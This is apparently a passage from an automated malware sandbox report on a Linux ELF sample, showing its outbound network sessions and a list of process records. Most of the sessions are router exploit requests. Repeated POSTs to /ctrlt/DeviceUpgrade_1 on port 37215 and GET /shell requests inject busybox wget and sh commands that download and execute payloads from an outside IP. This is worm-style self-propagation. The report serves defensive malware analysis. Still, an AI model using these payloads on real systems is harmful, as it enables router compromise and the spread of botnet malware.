2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	33094	41.218.100.231	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.257527113 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	39080	41.79.247.129	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.259299040 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	39112	41.255.43.44	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.261686087 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	51598	197.173.149.57	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.263453960 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	54736	156.150.26.154	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.265553951 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	55952	197.166.253.195	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.320902109 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	48600	73.11.181.94	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.321214914 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	33522	117.8.254.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.352863073 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	46318	197.249.221.114	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.353080988 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	60716	197.227.16.10	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:45.357189894 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: 9zldYT23H2.elf PID: 5530, Parent PID: 5448

General

Start time (UTC):	00:19:39
Start date (UTC):	17/10/2024
Path:	/tmp/9zldYT23H2.elf
Arguments:	/tmp/9zldYT23H2.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	00:19:39
Start date (UTC):	17/10/2024
Path:	/tmp/9zldYT23H2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	00:19:39
Start date (UTC):	17/10/2024
Path:	/tmp/9zldYT23H2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	00:19:39
Start date (UTC):	17/10/2024
Path:	/tmp/9zldYT23H2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	00:19:39
Start date (UTC):	17/10/2024
Path:	/tmp/9zldYT23H2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	00:19:39
Start date (UTC):	17/10/2024
Path:	/tmp/9zldYT23H2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	00:19:39
Start date (UTC):	17/10/2024
Path:	/tmp/9zldYT23H2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	00:19:39
Start date (UTC):	17/10/2024
Path:	/tmp/9zldYT23H2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
